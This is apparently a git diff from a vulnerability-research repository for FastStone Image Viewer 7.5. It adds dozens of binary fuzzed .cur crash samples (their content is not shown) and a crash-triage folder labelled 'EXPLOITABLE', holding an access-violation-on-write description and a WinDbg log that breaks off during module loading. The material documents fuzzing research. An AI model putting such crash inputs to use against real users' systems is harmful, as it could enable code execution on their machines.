a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54259.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54259.cur new file mode 100644 index 0000000..2475fff Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54259.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54619.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54619.cur new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54619.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54660.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54660.cur new file mode 100644 index 0000000..a6532a7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54660.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54749.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54749.cur new file mode 100644 index 0000000..d1f1f32 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54749.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54858.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54858.cur new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_54858.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_55013.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_55013.cur new file mode 100644 index 0000000..4f4ca28 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_55013.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_55136.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_55136.cur new file mode 100644 index 0000000..3265dc8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_55136.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_55199.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_55199.cur new file mode 100644 index 0000000..81080fc Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_55199.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_5552.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_5552.cur new file mode 100644 index 0000000..d766e27 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_5552.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_56024.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_56024.cur new file mode 100644 index 0000000..f740888 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_56024.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_56596.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_56596.cur new file mode 100644 index 0000000..f9e3868 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_56596.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_56801.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_56801.cur new file mode 100644 index 0000000..bbac301 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_56801.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57060.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57060.cur new file mode 100644 index 0000000..7f9d67e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57060.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57342.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57342.cur new file mode 100644 index 0000000..01a146f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57342.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57725.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57725.cur new file mode 100644 index 0000000..e63e93d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57725.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57855.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57855.cur new file mode 100644 index 0000000..f7e6ab9 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_57855.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58.cur new file mode 100644 index 0000000..bdeed19 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58193.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58193.cur new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58193.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58308.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58308.cur new file mode 100644 index 0000000..61681f8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58308.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58381.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58381.cur new file mode 100644 index 0000000..aaf81b6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_58381.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59280.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59280.cur new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59280.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59416.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59416.cur new file mode 100644 index 0000000..d580012 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59416.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59510.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59510.cur new file mode 100644 index 0000000..fec6565 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59510.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59948.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59948.cur new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_59948.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60149.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60149.cur new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60149.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60524.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60524.cur new file mode 100644 index 0000000..e28c3ad Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60524.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60783.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60783.cur new file mode 100644 index 0000000..2ce9805 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60783.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60826.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60826.cur new file mode 100644 index 0000000..d15cde0 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60826.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60844.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60844.cur new file mode 100644 index 0000000..d1ea85e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60844.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60852.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60852.cur new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_60852.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_61199.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_61199.cur new file mode 100644 index 0000000..7c7c812 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_61199.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_62365.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_62365.cur new file mode 100644 index 0000000..cc43248 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_62365.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63158.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63158.cur new file mode 100644 index 0000000..d71d943 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63158.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63313.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63313.cur new file mode 100644 index 0000000..0f45741 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63313.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63372.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63372.cur new file mode 100644 index 0000000..5c2759d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63372.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63869.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63869.cur new file mode 100644 index 0000000..31d8f91 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_63869.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_65698.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_65698.cur new file mode 100644 index 0000000..78631f7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_65698.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_65850.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_65850.cur new file mode 100644 index 0000000..422adca Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_65850.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_66004.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_66004.cur new file mode 100644 index 0000000..d435baf Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_66004.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_66952.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_66952.cur new file mode 100644 index 0000000..8549024 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_66952.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_66995.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_66995.cur new file mode 100644 index 0000000..389ebad Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_66995.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_67172.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_67172.cur new file mode 100644 index 0000000..878c312 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_67172.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_67286.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_67286.cur new file mode 100644 index 0000000..801295a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_67286.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_68110.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_68110.cur new file mode 100644 index 0000000..50748c6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_68110.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_68554.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_68554.cur new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_68554.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_68834.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_68834.cur new file mode 100644 index 0000000..7d8b427 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_68834.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_69188.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_69188.cur new file mode 100644 index 0000000..61a9403 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_69188.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_69360.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_69360.cur new file mode 100644 index 0000000..434f7b1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_69360.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_69818.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_69818.cur new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_69818.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7015.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7015.cur new file mode 100644 index 0000000..e1afc80 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7015.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_75112.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_75112.cur new file mode 100644 index 0000000..8d85b40 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_75112.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7774.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7774.cur new file mode 100644 index 0000000..2abfa28 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7774.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7907.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7907.cur new file mode 100644 index 0000000..891a1e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7907.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7962.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7962.cur new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7962.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7998.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7998.cur new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_7998.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_826.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_826.cur new file mode 100644 index 0000000..8e23375 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_826.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_8354.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_8354.cur new file mode 100644 index 0000000..bacdf1d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_8354.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_850.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_850.cur new file mode 100644 index 0000000..440aa0c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_850.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_8890.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_8890.cur new file mode 100644 index 0000000..9d02d23 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_8890.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_92196.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_92196.cur new file mode 100644 index 0000000..38c685e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_92196.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_9347.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_9347.cur new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_9347.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_9913.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_9913.cur new file mode 100644 index 0000000..f1d2af4 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_9913.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..6d532b1 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000012cadf9d \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1ab7bae Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..94b54c3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x05711968/16450/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x19E8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x19E8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 